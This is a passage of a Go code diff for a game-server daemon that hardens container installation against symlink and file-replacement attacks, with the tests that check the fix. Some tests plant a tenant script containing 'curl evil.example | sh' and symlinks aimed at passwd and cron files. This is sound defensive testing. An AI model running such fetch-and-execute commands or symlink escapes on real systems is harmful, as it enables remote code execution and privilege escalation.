os.Symlink("../neighbour", filepath.Join(tree, "neighbour"))) + + before := ownershipOf(t, filepath.Join(neighbour, "secret.cfg")) + + err := ApplyRecursiveInRoot(openRoot(t, tree), Options{UID: testOwner, GID: testOwner}) + require.NoError(t, err) + + assert.Equal(t, before, ownershipOf(t, filepath.Join(neighbour, "secret.cfg"))) + assert.Zero(t, ownershipOf(t, neighbour).uid) +} diff --git a/internal/app/osowner/owner_windows.go b/internal/app/osowner/owner_windows.go index 103a57e..b1b005b 100644 --- a/internal/app/osowner/owner_windows.go +++ b/internal/app/osowner/owner_windows.go @@ -28,10 +28,10 @@ func lchownInRoot(_ *os.Root, _ string, _, _ int) error { return nil } -func chownTree(_ string, _, _ int) error { +func chownTree(_ *os.Root, _, _ int) error { return nil } -func groupShareTree(_ string, _ int) error { +func groupShareTree(_ *os.Root, _ int) error { return nil } diff --git a/internal/processmanager/container_install_unix_test.go b/internal/processmanager/container_install_unix_test.go new file mode 100644 index 0000000..24ec860 --- /dev/null +++ b/internal/processmanager/container_install_unix_test.go @@ -0,0 +1,307 @@ +//go:build linux || darwin + +package processmanager + +import ( + "bytes" + "context" + "io" + "net" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "strings" + "sync" + "testing" + + "github.com/gameap/daemon/internal/app/config" + "github.com/gameap/daemon/internal/app/domain" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +// fakeEngine answers what an installation asks of a container engine up to the +// installation container, and refuses to create that one. The moment it is +// asked to is the moment the container would have started: what the server +// directory holds under the name of the installation script by then is what +// the container would have run. +type fakeEngine struct { + scriptPath string + + mu sync.Mutex + creates int + observed scriptObservation +} + +type scriptObservation struct { + err error + mode os.FileMode + content string +} + +func (e *fakeEngine) ServeHTTP(w http.ResponseWriter, r *http.Request) { + path := r.URL.Path + + switch { + case strings.HasSuffix(path, "/_ping"): + w.WriteHeader(http.StatusOK) + case r.Method == http.MethodPost && (strings.HasSuffix(path, "/images/create") || strings.HasSuffix(path, "/images/pull")): + w.WriteHeader(http.StatusOK) + _, _ = io.WriteString(w, "{\"status\":\"pulled\"}\n") + case r.Method == http.MethodPost && strings.HasSuffix(path, "/containers/create"): + e.observeScript() + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(http.StatusInternalServerError) + _, _ = io.WriteString(w, `{"message":"the engine of the test creates no containers"}`) + default: + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(http.StatusNotFound) + _, _ = io.WriteString(w, `{"message":"no such container"}`) + } +} + +func (e *fakeEngine) observeScript() { + e.mu.Lock() + defer e.mu.Unlock() + + e.creates++ + + info, err := os.Lstat(e.scriptPath) + if err != nil { + e.observed = scriptObservation{err: err} + + return + } + + content, err := os.ReadFile(e.scriptPath) + e.observed = scriptObservation{err: err, mode: info.Mode(), content: string(content)} +} + +func (e *fakeEngine) seen() (int, scriptObservation) { + e.mu.Lock() + defer e.mu.Unlock() + + return e.creates, e.observed +} + +type containerInstaller interface { + Install(ctx context.Context, server *domain.Server, out io.Writer) (domain.Result, error) +} + +// containerEngines build the process manager of an engine and point it at the +// engine of the test. +var containerEngines = map[string]func(t *testing.T, cfg *config.Config, engine http.Handler) containerInstaller{ + "docker": func(t *testing.T, cfg *config.Config, engine http.Handler) containerInstaller { + t.Helper() + + server := httptest.NewServer(engine) + t.Cleanup(server.Close) + + cfg.ProcessManager.Config = map[string]string{ + "host": "tcp://" + server.Listener.Addr().String(), + "api_version": "1.47", + } + + return NewDocker(cfg, nil, nil) + }, + "podman": func(t *testing.T, cfg *config.Config, engine http.Handler) containerInstaller { + t.Helper() + + // The path of a unix socket is short by its nature, and the temporary + // directory of a test is not. + socketDir, err := os.MkdirTemp("", "gpm") + require.NoError(t, err) + t.Cleanup(func() { _ = os.RemoveAll(socketDir) }) + + socket := filepath.Join(socketDir, "p.sock") + + listener, err := net.Listen("unix", socket) + require.NoError(t, err) + + server := &http.Server{Handler: engine} + go func() { _ = server.Serve(listener) }() + t.Cleanup(func() { _ = server.Close() }) + + cfg.ProcessManager.Config = map[string]string{"socket_path": "unix://" + socket} + + return NewPodman(cfg, nil, nil) + }, +} + +// containerInstallStand is a work directory with the directory of one game +// server that is installed by a container, and next to the work directory a +// directory of the node no installation may touch. +type containerInstallStand struct { + cfg *config.Config + server *domain.Server + serverDir string + outside string + secret string + engine *fakeEngine +} + +func givenContainerInstallStand(t *testing.T) *containerInstallStand { + t.Helper() + + base := t.TempDir() + workPath := filepath.Join(base, "work") + serverDir := filepath.Join(workPath, "servers", "test") + outside := filepath.Join(base, "outside") + secret := filepath.Join(outside, "passwd") + + require.NoError(t, os.MkdirAll(serverDir, 0o755)) + require.NoError(t, os.Mkdir(outside, 0o755)) + require.NoError(t, os.WriteFile(secret, []byte(outsideScriptContent), 0o600)) + + return &containerInstallStand{ + cfg: &config.Config{WorkPath: workPath}, + server: createTestServer(map[string]string{ + keyDockerInstallationImage: "debian:12-slim", + keyDockerInstallationScript: installScript, + }, nil, nil), + serverDir: serverDir, + outside: outside, + secret: secret, + engine: &fakeEngine{scriptPath: filepath.Join(serverDir, installScriptName)}, + } +} + +func (s *containerInstallStand) assertOutsideUntouched(t *testing.T) { + t.Helper() + + entries, err := os.ReadDir(s.outside) + require.NoError(t, err) + require.Len(t, entries, 1, "nothing may be created out of the work directory") + + info, err := os.Lstat(s.secret) + require.NoError(t, err) + assert.Equal(t, os.FileMode(0o600), info.Mode(), "the file out of the work directory keeps its type and mode") + + content, err := os.ReadFile(s.secret) + require.NoError(t, err) + assert.Equal(t, outsideScriptContent, string(content)) +} + +// The installation of a container writes its script into the server directory +// with the privileges of the daemon and mounts the directory into a container +// that runs the script. The script the container finds is the one the daemon +// wrote, whatever the tenant left under its name, and it is gone afterwards. +func TestContainerInstall_ScriptInTheServerDir(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + plant func(t *testing.T, s *containerInstallStand) + }{ + { + name: "nothing_stands_under_its_name", + plant: func(*testing.T, *containerInstallStand) {}, + }, + { + name: "server_directory_is_not_there_yet", + plant: func(t *testing.T, s *containerInstallStand) { + t.Helper() + + require.NoError(t, os.RemoveAll(filepath.Join(s.cfg.WorkPath, "servers"))) + }, + }, + { + name: "link_to_a_file_outside_stands_under_its_name", + plant: func(t *testing.T, s *containerInstallStand) { + t.Helper() + + require.NoError(t, os.Symlink(s.secret, filepath.Join(s.serverDir, installScriptName))) + }, + }, + { + name: "link_to_a_missing_file_outside_stands_under_its_name", + plant: func(t *testing.T, s *containerInstallStand) { + t.Helper() + + target := filepath.Join(s.outside, "cron.d-job") + require.NoError(t, os.Symlink(target, filepath.Join(s.serverDir, installScriptName))) + }, + }, + { + name: "script_of_the_tenant_stands_under_its_name", + plant: func(t *testing.T, s *containerInstallStand) { + t.Helper() + + script := filepath.Join(s.serverDir, installScriptName) + require.NoError(t, os.WriteFile(script, []byte("#!/bin/sh\ncurl evil.example | sh\n# and a long tail"), 0o600)) + }, + }, + } + + for _, tt := range tests { + for engineName, newEngine := range containerEngines { + t.Run(tt.name+"/"+engineName, func(t *testing.T) { + t.Parallel() + + stand := givenContainerInstallStand(t) + tt.plant(t, stand) + pm := newEngine(t, stand.cfg, stand.engine) + out := &bytes.Buffer{} + + result, err := pm.Install(context.Background(), stand.server, out) + + stand.assertOutsideUntouched(t) + require.Error(t, err, out.String()) + assert.Contains(t, err.Error(), "failed to create installation container") + assert.Equal(t, domain.ErrorResult, result) + + creates, observed := stand.engine.seen() + require.Equal(t, 1, creates, "the engine is asked for the installation container once") + require.NoError(t, observed.err) + assert.Equal(t, os.FileMode(0o755), observed.mode, "the container finds a regular file it can run") + assert.Equal(t, installScriptOnDisk, observed.content) + + _, err = os.Lstat(filepath.Join(stand.serverDir, installScriptName)) + require.ErrorIs(t, err, os.ErrNotExist, "the script is removed when the installation is over") + + info, err := os.Lstat(stand.serverDir) + require.NoError(t, err) + assert.Equal(t, os.ModeDir|0o755, info.Mode()) + }) + } + } +} + +// Where the work directory belongs to the user the game servers run as, a +// symlink can stand in place of a server directory. The installation is over +// before anything is written and before the engine is asked for a container +// with the tree the link names mounted into it. +func TestContainerInstall_ServerDirReplacedByASymlink(t *testing.T) { + t.Parallel() + + links := map[string]func(s *containerInstallStand) string{ + "absolute_link": func(s *containerInstallStand) string { return s.outside }, + "relative_link": func(*containerInstallStand) string { return "../../outside" }, + } + + for linkName, link := range links { + for engineName, newEngine := range containerEngines { + t.Run(linkName+"/"+engineName, func(t *testing.T) { + t.Parallel() + + stand := givenContainerInstallStand(t) + require.NoError(t, os.Remove(stand.serverDir)) + require.NoError(t, os.Symlink(link(stand), stand.serverDir)) + pm := newEngine(t, stand.cfg, stand.engine) + out := &bytes.Buffer{} + + result, err := pm.Install(context.Background(), stand.server, out) + + stand.assertOutsideUntouched(t) + require.Error(t, err, out.String()) + assert.Contains(t, err.Error(), "failed to open server directory inside the work directory") + assert.Contains(t, err.Error(), "path escapes from parent") + assert.Equal(t, domain.ErrorResult, result) + + creates, _ := stand.engine.seen() + assert.Zero(t, creates, "the engine is not asked for a container") + }) + } + } +} diff --git a/internal/processmanager/docker.go b/internal/processmanager/docker.go index 2db1e8b..d82505e 100644 --- a/internal/processmanager/docker.go +++ b/internal/processmanager/docker.go @@ -7,10 +7,8 @@ import ( "encoding/json" "fmt" "io" - "io/fs" "net" "net/netip" - "os" "os/user" "path/filepath" "strconv" @@ -21,6 +19,7 @@ import ( "github.com/gameap/daemon/internal/app/config" "github.com/gameap/daemon/internal/app/contracts" "github.com/gameap/daemon/internal/app/domain" + "github.com/gameap/daemon/internal/app/fsutil" "github.com/gameap/daemon/pkg/logger" "github.com/moby/moby/api/pkg/stdcopy" "github.com/moby/moby/api/types/container" @@ -59,15 +58,18 @@ const ( type Docker struct { cfg *config.Config client *client.Client + // confineOpts name the boundaries a server directory is opened within, see + // fsutil.OpenDir. + confineOpts []fsutil.ConfineOption } -func NewDocker(cfg *config.Config, _, _ contracts.Executor) *Docker { +func NewDocker(cfg *config.Config, _, _ contracts.Executor, confineOpts ...fsutil.ConfineOption) *Docker { cli, err := client.New(dockerClientOptions(cfg)...) if err != nil { // Client will be created lazily on first use - return &Docker{cfg: cfg} + return &Docker{cfg: cfg, confineOpts: confineOpts} } - return &Docker{cfg: cfg, client: cli} + return &Docker{cfg: cfg, client: cli, confineOpts: confineOpts} } func (pm *Docker) ensureClient(ctx context.Context) error { @@ -155,20 +157,17 @@ func (pm *Docker) runInstallation( // 2. Write script to temp file in WorkDir workDir := server.WorkDir(pm.cfg) - if err := os.MkdirAll(workDir, 0755); err != nil { - return domain.ErrorResult, errors.Wrap(err, "failed to create work directory") - } - scriptPath := filepath.Join(workDir, ".gameap_install.sh") - if err := os.WriteFile(scriptPath, []byte(normalizeLineEndings(installScript)), 0600); err != nil { - return domain.ErrorResult, errors.Wrap(err, "failed to write installation script") + serverDir, err := fsutil.OpenDir(pm.cfg.WorkDir(), server.Dir(), serverDirPerm, pm.confineOpts...) + if err != nil { + return domain.ErrorResult, errors.WithMessage(err, "failed to open server directory inside the work directory") } - if err := os.Chmod(scriptPath, 0755); err != nil { - return domain.ErrorResult, errors.Wrap(err, "failed to make installation script executable") + defer serverDir.Close() + + if err := writeInstallScript(serverDir, installScript); err != nil { + return domain.ErrorResult, errors.WithMessage(err, "failed to write installation script") } - defer func() { - _ = os.Remove(scriptPath) - }() + defer removeInstallScript(serverDir) // 3. Create temp container name tempName := fmt.Sprintf("gameap-install-%s", server.XID()) @@ -194,7 +193,7 @@ func (pm *Docker) runInstallation( Cmd: []string{ getInstallationEntrypoint(pm.getConfig(server, keyDockerInstallationEntrypoint), installScript), "-e", - installationContainerWorkDir + "/.gameap_install.sh", + installationContainerWorkDir + "/" + installScriptName, }, Env: env, User: installUser, @@ -285,7 +284,7 @@ func (pm *Docker) runInstallation( return domain.ErrorResult, errors.Wrap(err, "failed to get user IDs for chown") } _, _ = out.Write([]byte(fmt.Sprintf("Changing ownership to %s:%s...\n", uid, gid))) - if err := chownRecursive(workDir, uid, gid); err != nil { + if err := chownRecursive(serverDir, uid, gid); err != nil { return domain.ErrorResult, errors.Wrap(err, "failed to change ownership of installed files") } @@ -846,31 +845,6 @@ func normalizeLineEndings(s string) string { return s } -// chownRecursive changes ownership of a directory and all its contents. -func chownRecursive(path, uidStr, gidStr string) error { - uid, err := strconv.Atoi(uidStr) - if err != nil { - return errors.Wrapf(err, "invalid uid: %s", uidStr) - } - gid, err := strconv.Atoi(gidStr) - if err != nil { - return errors.Wrapf(err, "invalid gid: %s", gidStr) - } - - root, err := os.OpenRoot(path) - if err != nil { - return err - } - defer root.Close() - - return fs.WalkDir(root.FS(), ".", func(p string, d fs.DirEntry, err error) error { - if err != nil { - return err - } - return root.Lchown(p, uid, gid) - }) -} - // detectShellFromShebang extracts the shell interpreter from a script's shebang line. func detectShellFromShebang(script string) string { if !strings.HasPrefix(script, "#!") { diff --git a/internal/processmanager/install_script.go b/internal/processmanager/install_script.go new file mode 100644 index 0000000..da1c353 --- /dev/null +++ b/internal/processmanager/install_script.go @@ -0,0 +1,85 @@ +//go:build linux || darwin || windows + +package processmanager + +import ( + "io/fs" + "os" + "strconv" + + "github.com/pkg/errors" +) + +const ( + // installScriptName is the file the installation script is handed to the + // installation container in: it lies in the server directory, which the + // container has mounted. + installScriptName = ".gameap_install.sh" + + installScriptPerm os.FileMode = 0o755 + serverDirPerm os.FileMode = 0o755 +) + +// writeInstallScript puts the installation script into the server directory. +// +// The directory belongs to the tenant of the server and the script is written +// with the privileges of the daemon, so the file is created anew through the +// root the directory was opened with. Whatever stands under its name goes +// first: a symlink left there is taken away, not written through, and the mode +// is set on the file that was created, not on what its name leads to. +func writeInstallScript(serverDir *os.Root, script string) error { + err := serverDir.RemoveAll(installScriptName) + if err != nil { + return errors.Wrapf(err, "failed to remove what stands in place of %s", installScriptName) + } + + file, err := serverDir.OpenFile(installScriptName, os.O_WRONLY|os.O_CREATE|os.O_EXCL, installScriptPerm) + if err != nil { + return errors.Wrapf(err, "failed to create %s", installScriptName) + } + + _, writeErr := file.WriteString(normalizeLineEndings(script)) + chmodErr := file.Chmod(installScriptPerm) + closeErr := file.Close() + + switch { + case writeErr != nil: + err = errors.Wrapf(writeErr, "failed to write %s", installScriptName) + case chmodErr != nil: + err = errors.Wrapf(chmodErr, "failed to make %s executable", installScriptName) + case closeErr != nil: + err = errors.Wrapf(closeErr, "failed to close %s", installScriptName) + } + + if err != nil { + removeInstallScript(serverDir) + } + + return err +} + +func removeInstallScript(serverDir *os.Root) { + _ = serverDir.Remove(installScriptName) +} + +// chownRecursive changes ownership of the directory serverDir is opened at and +// of all its contents. A symlink is given the owner itself, what it leads to is +// left alone. +func chownRecursive(serverDir *os.Root, uidStr, gidStr string) error { + uid, err := strconv.Atoi(uidStr) + if err != nil { + return errors.Wrapf(err, "invalid uid: %s", uidStr) + } + gid, err := strconv.Atoi(gidStr) + if err != nil { + return errors.Wrapf(err, "invalid gid: %s", gidStr) + } + + return fs.WalkDir(serverDir.FS(), ".", func(p string, _ fs.DirEntry, err error) error { + if err != nil { + return err + } + + return serverDir.Lchown(p, uid, gid) + }) +} diff --git a/internal/processmanager/install_script_unix_test.go b/internal/processmanager/install_script_unix_test.go new file mode 100644 index 0000000..fe63798 --- /dev/null +++ b/internal/processmanager/install_script_unix_test.go @@ -0,0 +1,301 @@ +//go:build linux || darwin + +package processmanager + +import ( + "os" + "path/filepath" + "strconv" + "syscall" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +const ( + installScript = "#!/bin/bash\r\nset -e\r\necho installed\r\n" + installScriptOnDisk = "#!/bin/bash\nset -e\necho installed\n" + outsideScriptContent = "root:x:0:0" +) + +// installScriptStand is a server directory opened as the root the installation +// script is written through, and next to it a file no installation may touch. +type installScriptStand struct { + root *os.Root + serverDir string + outside string + secret string +} + +func givenInstallScriptStand(t *testing.T) *installScriptStand { + t.Helper() + + base := t.TempDir() + serverDir := filepath.Join(base, "server") + outside := filepath.Join(base, "outside") + secret := filepath.Join(outside, "passwd") + + require.NoError(t, os.Mkdir(serverDir, 0o755)) + require.NoError(t, os.Mkdir(outside, 0o755)) + require.NoError(t, os.WriteFile(secret, []byte(outsideScriptContent), 0o600)) + + root, err := os.OpenRoot(serverDir) + require.NoError(t, err) + t.Cleanup(func() { _ = root.Close() }) + + return &installScriptStand{root: root, serverDir: serverDir, outside: outside, secret: secret} +} + +func (s *installScriptStand) script() string { + return filepath.Join(s.serverDir, installScriptName) +} + +func (s *installScriptStand) assertOutsideUntouched(t *testing.T) { + t.Helper() + + entries, err := os.ReadDir(s.outside) + require.NoError(t, err) + require.Len(t, entries, 1, "nothing may be created out of the server directory") + + info, err := os.Lstat(s.secret) + require.NoError(t, err) + assert.Equal(t, os.FileMode(0o600), info.Mode(), "the file out of the server directory keeps its type and mode") + + content, err := os.ReadFile(s.secret) + require.NoError(t, err) + assert.Equal(t, outsideScriptContent, string(content)) +} + +// The installation script of a container is written into the server directory +// with the privileges of the daemon, under a name the tenant knows. Whatever +// the tenant left under that name is replaced by the script: nothing is +// written, and no mode changed, where a link there leads. +func TestWriteInstallScript(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + plant func(t *testing.T, s *installScriptStand) + check func(t *testing.T, s *installScriptStand) + }{ + { + name: "nothing_stands_under_its_name", + plant: func(*testing.T, *installScriptStand) {}, + }, + { + name: "link_to_a_file_outside", + plant: func(t *testing.T, s *installScriptStand) { + t.Helper() + + require.NoError(t, os.Symlink(s.secret, s.script())) + }, + }, + { + name: "relative_link_to_a_file_outside", + plant: func(t *testing.T, s *installScriptStand) { + t.Helper() + + require.NoError(t, os.Symlink("../outside/passwd", s.script())) + }, + }, + { + name: "link_to_a_missing_file_outside", + plant: func(t *testing.T, s *installScriptStand) { + t.Helper() + + require.NoError(t, os.Symlink(filepath.Join(s.outside, "cron.d-job"), s.script())) + }, + }, + { + name: "link_to_a_file_of_the_server", + plant: func(t *testing.T, s *installScriptStand) { + t.Helper() + + require.NoError(t, os.WriteFile(filepath.Join(s.serverDir, "server.cfg"), []byte("hostname"), 0o600)) + require.NoError(t, os.Symlink("server.cfg", s.script())) + }, + check: func(t *testing.T, s *installScriptStand) { + t.Helper() + + content, err := os.ReadFile(filepath.Join(s.serverDir, "server.cfg")) + require.NoError(t, err) + assert.Equal(t, "hostname", string(content)) + }, + }, + { + name: "second_name_of_a_file_outside", + plant: func(t *testing.T, s *installScriptStand) { + t.Helper() + + require.NoError(t, os.Link(s.secret, s.script())) + }, + }, + { + name: "script_of_the_tenant", + plant: func(t *testing.T, s *installScriptStand) { + t.Helper() + + require.NoError(t, os.WriteFile(s.script(), []byte("#!/bin/sh\ncurl evil.example | sh\n# and a long tail"), 0o600)) + }, + }, + { + name: "directory", + plant: func(t *testing.T, s *installScriptStand) { + t.Helper() + + require.NoError(t, os.Mkdir(s.script(), 0o755)) + require.NoError(t, os.WriteFile(filepath.Join(s.script(), "file"), []byte("x"), 0o644)) + }, + }, + { + name: "fifo", + plant: func(t *testing.T, s *installScriptStand) { + t.Helper() + + require.NoError(t, syscall.Mkfifo(s.script(), 0o644)) + }, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + stand := givenInstallScriptStand(t) + tt.plant(t, stand) + + err := writeInstallScript(stand.root, installScript) + + require.NoError(t, err) + stand.assertOutsideUntouched(t) + + info, err := os.Lstat(stand.script()) + require.NoError(t, err) + require.True(t, info.Mode().IsRegular(), "the script has to be a regular file, it is %s", info.Mode()) + assert.Equal(t, os.FileMode(0o755), info.Mode().Perm()) + + content, err := os.ReadFile(stand.script()) + require.NoError(t, err) + assert.Equal(t, installScriptOnDisk, string(content)) + + if tt.check != nil { + tt.check(t, stand) + } + }) + } +} + +func TestRemoveInstallScript(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + plant func(t *testing.T, s *installScriptStand) + }{ + { + name: "script_is_removed", + plant: func(t *testing.T, s *installScriptStand) { + t.Helper() + + require.NoError(t, writeInstallScript(s.root, installScript)) + }, + }, + { + name: "link_put_in_its_place_is_removed_and_not_followed", + plant: func(t *testing.T, s *installScriptStand) { + t.Helper() + + require.NoError(t, os.Symlink(s.secret, s.script())) + }, + }, + { + name: "nothing_to_remove", + plant: func(*testing.T, *installScriptStand) {}, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + stand := givenInstallScriptStand(t) + tt.plant(t, stand) + + removeInstallScript(stand.root) + + _, err := os.Lstat(stand.script()) + require.ErrorIs(t, err, os.ErrNotExist) + stand.assertOutsideUntouched(t) + }) + } +} + +func TestChownRecursive_InvalidOwner(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + uid string + gid string + wantError string + }{ + {name: "user_name_instead_of_an_id", uid: "gameap", gid: "1000", wantError: "invalid uid: gameap"}, + {name: "group_name_instead_of_an_id", uid: "1000", gid: "gameap", wantError: "invalid gid: gameap"}, + {name: "empty_uid", uid: "", gid: "1000", wantError: "invalid uid: "}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + stand := givenInstallScriptStand(t) + + err := chownRecursive(stand.root, tt.uid, tt.gid) + + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantError) + }) + } +} + +// The tree a container installed is handed to the game server user as root. +// A symlink in it is given the owner itself: what it leads to is not the +// tenant's to receive. +func TestChownRecursive_DoesNotFollowSymlinks(t *testing.T) { + t.Parallel() + + if os.Geteuid() != 0 { + t.Skip("changing the owner of files requires root") + } + + const owner = 12345 + + stand := givenInstallScriptStand(t) + require.NoError(t, os.Mkdir(filepath.Join(stand.serverDir, "maps"), 0o755)) + require.NoError(t, os.WriteFile(filepath.Join(stand.serverDir, "maps", "de_dust2.bsp"), []byte("bsp"), 0o644)) + require.NoError(t, os.Symlink(stand.secret, filepath.Join(stand.serverDir, "link_to_file"))) + require.NoError(t, os.Symlink(stand.outside, filepath.Join(stand.serverDir, "link_to_dir"))) + + err := chownRecursive(stand.root, strconv.Itoa(owner), strconv.Itoa(owner)) + require.NoError(t, err) + + for _, name := range []string{".", "maps", "maps/de_dust2.bsp", "link_to_file", "link_to_dir"} { + assert.Equal(t, owner, ownerOf(t, filepath.Join(stand.serverDir, name)), name) + } + + assert.Zero(t, ownerOf(t, stand.secret), "the file a link leads to keeps its owner") + assert.Zero(t, ownerOf(t, stand.outside), "the directory a link leads to keeps its owner") +} + +func ownerOf(t *testing.T, path string) int { + t.Helper() + + info, err := os.Lstat(path) + require.NoError(t, err) + + stat, ok := info.Sys().(*syscall.Stat_t) + require.True(t, ok) + + return int(stat.Uid) +} diff --git a/internal/processmanager/loader_darwin.go b/internal/processmanager/loader_darwin.go index 7ef1bc5..f81f050 100644 --- a/internal/processmanager/loader_darwin.go +++ b/internal/processmanager/loader_darwin.go @@ -5,12 +5,17 @@ package processmanager import ( "github.com/gameap/daemon/internal/app/config" "github.com/gameap/daemon/internal/app/contracts" + "github.com/gameap/daemon/internal/app/fsutil" ) +// Load creates the process manager the config names. confineOpts name the +// directories a manager that writes into a server directory is confined by +// besides that directory, see fsutil.OpenDir. func Load( name string, cfg *config.Config, executor contracts.Executor, detailedExecutor contracts.Executor, + confineOpts ...fsutil.ConfineOption, ) (contracts.ProcessManager, error) { switch name { case "tmux": @@ -18,9 +23,9 @@ func Load( case "simple": return NewSimple(cfg, executor, detailedExecutor), nil case "docker": - return NewDocker(cfg, executor, detailedExecutor), nil + return NewDocker(cfg, executor, detailedExecutor, confineOpts...), nil case "podman": - return NewPodman(cfg, executor, detailedExecutor), nil + return NewPodman(cfg, executor, detailedExecutor, confineOpts...), nil default: return nil, ErrUnknownProcessManager } diff --git a/internal/processmanager/loader_linux.go b/internal/processmanager/loader_linux.go index 7e39bb4..1359e82 100644 --- a/internal/processmanager/loader_linux.go +++ b/internal/processmanager/loader_linux.go @@ -5,10 +5,15 @@ package processmanager import ( "github.com/gameap/daemon/internal/app/config" "github.com/gameap/daemon/internal/app/contracts" + "github.com/gameap/daemon/internal/app/fsutil" ) +// Load creates the process manager the config names. confineOpts name the +// directories a manager that writes into a server directory is confined by +// besides that directory, see fsutil.OpenDir. func Load( name string, cfg *config.Config, executor, detailedExecutor contracts.Executor, + confineOpts ...fsutil.ConfineOption, ) (contracts.ProcessManager, error) { switch name { case "tmux": @@ -18,9 +23,9 @@ func Load( case "simple": return NewSimple(cfg, executor, detailedExecutor), nil case "docker": - return NewDocker(cfg, executor, detailedExecutor), nil + return NewDocker(cfg, executor, detailedExecutor, confineOpts...), nil case "podman": - return NewPodman(cfg, executor, detailedExecutor), nil + return NewPodman(cfg, executor, detailedExecutor, confineOpts...), nil default: return nil, ErrUnknownProcessManager } diff --git a/internal/processmanager/loader_windows.go b/internal/processmanager/loader_windows.go index d665ca4..9d7db69 100644 --- a/internal/processmanager/loader_windows.go +++ b/internal/processmanager/loader_windows.go @@ -5,10 +5,15 @@ package processmanager import ( "github.com/gameap/daemon/internal/app/config" "github.com/gameap/daemon/internal/app/contracts" + "github.com/gameap/daemon/internal/app/fsutil" ) +// Load creates the process manager the config names. confineOpts name the +// directories a manager that writes into a server directory is confined by +// besides that directory, see fsutil.OpenDir. func Load( name string, cfg *config.Config, executor, detailedExecutor contracts.Executor, + confineOpts ...fsutil.ConfineOption, ) (contracts.ProcessManager, error) { switch name { case "winsw": @@ -18,7 +23,7 @@ func Load( case "simple": return NewSimple(cfg, executor, detailedExecutor), nil case "docker": - return NewDocker(cfg, executor, detailedExecutor), nil + return NewDocker(cfg, executor, detailedExecutor, confineOpts...), nil // Note: Podman not supported on Windows default: return nil, ErrUnknownProcessManager diff --git a/internal/processmanager/podman.go b/internal/processmanager/podman.go index 001b35c..0dabe90 100644 --- a/internal/processmanager/podman.go +++ b/internal/processmanager/podman.go @@ -19,6 +19,7 @@ import ( "github.com/gameap/daemon/internal/app/config" "github.com/gameap/daemon/internal/app/contracts" "github.com/gameap/daemon/internal/app/domain" + "github.com/gameap/daemon/internal/app/fsutil" "github.com/gameap/daemon/pkg/logger" "github.com/pkg/errors" ) @@ -62,9 +63,12 @@ type Podman struct { cfg *config.Config socketPath string httpClient *http.Client + // confineOpts name the boundaries a server directory is opened within, see + // fsutil.OpenDir. + confineOpts []fsutil.ConfineOption } -func NewPodman(cfg *config.Config, _, _ contracts.Executor) *Podman { +func NewPodman(cfg *config.Config, _, _ contracts.Executor, confineOpts ...fsutil.ConfineOption) *Podman { socketPath := getDefaultPodmanSocket(cfg) // Create HTTP client with Unix socket transport @@ -83,6 +87,7 @@ func NewPodman(cfg *config.Config, _, _ contracts.Executor) *Podman { Transport: transport, Timeout: 5 * time.Minute, }, + confineOpts: confineOpts, } } @@ -158,20 +163,17 @@ func (pm *Podman) runInstallation( // 2. Write script to temp file in WorkDir workDir := server.WorkDir(pm.cfg) - if err := os.MkdirAll(workDir, 0755); err != nil { - return domain.ErrorResult, errors.Wrap(err, "failed to create work directory") - } - scriptPath := filepath.Join(workDir, ".gameap_install.sh") - if err := os.WriteFile(scriptPath, []byte(normalizeLineEndings(installScript)), 0600); err != nil { - return domain.ErrorResult, errors.Wrap(err, "failed to write installation script") + serverDir, err := fsutil.OpenDir(pm.cfg.WorkDir(), server.Dir(), serverDirPerm, pm.confineOpts...) + if err != nil { + return domain.ErrorResult, errors.WithMessage(err, "failed to open server directory inside the work directory") } - if err := os.Chmod(scriptPath, 0755); err != nil { - return domain.ErrorResult, errors.Wrap(err, "failed to make installation script executable") + defer serverDir.Close() + + if err := writeInstallScript(serverDir, installScript); err != nil { + return domain.ErrorResult, errors.WithMessage(err, "failed to write installation script") } - defer func() { - _ = os.Remove(scriptPath) - }() + defer removeInstallScript(serverDir) // 3. Create temp container name tempName := fmt.Sprintf("gameap-install-%s", server.XID()) @@ -237,7 +239,7 @@ func (pm *Podman) runInstallation( return domain.ErrorResult, errors.Wrap(err, "failed to get user IDs for chown") } _, _ = out.Write([]byte(fmt.Sprintf("Changing ownership to %s:%s...\n", uid, gid))) - if err := chownRecursive(workDir, uid, gid); err != nil { + if err := chownRecursive(serverDir, uid, gid); err != nil { return domain.ErrorResult, errors.Wrap(err, "failed to change ownership of installed files") } @@ -252,7 +254,7 @@ func (pm *Podman) buildInstallSpec( "name": name, "image": image, "work_dir": installationContainerWorkDir, - "command": []string{entrypoint, "-e", installationContainerWorkDir + "/.gameap_install.sh"}, + "command": []string{entrypoint, "-e", installationContainerWorkDir + "/" + installScriptName}, "env": env, "user": user, "mounts": []map[string]interface{}{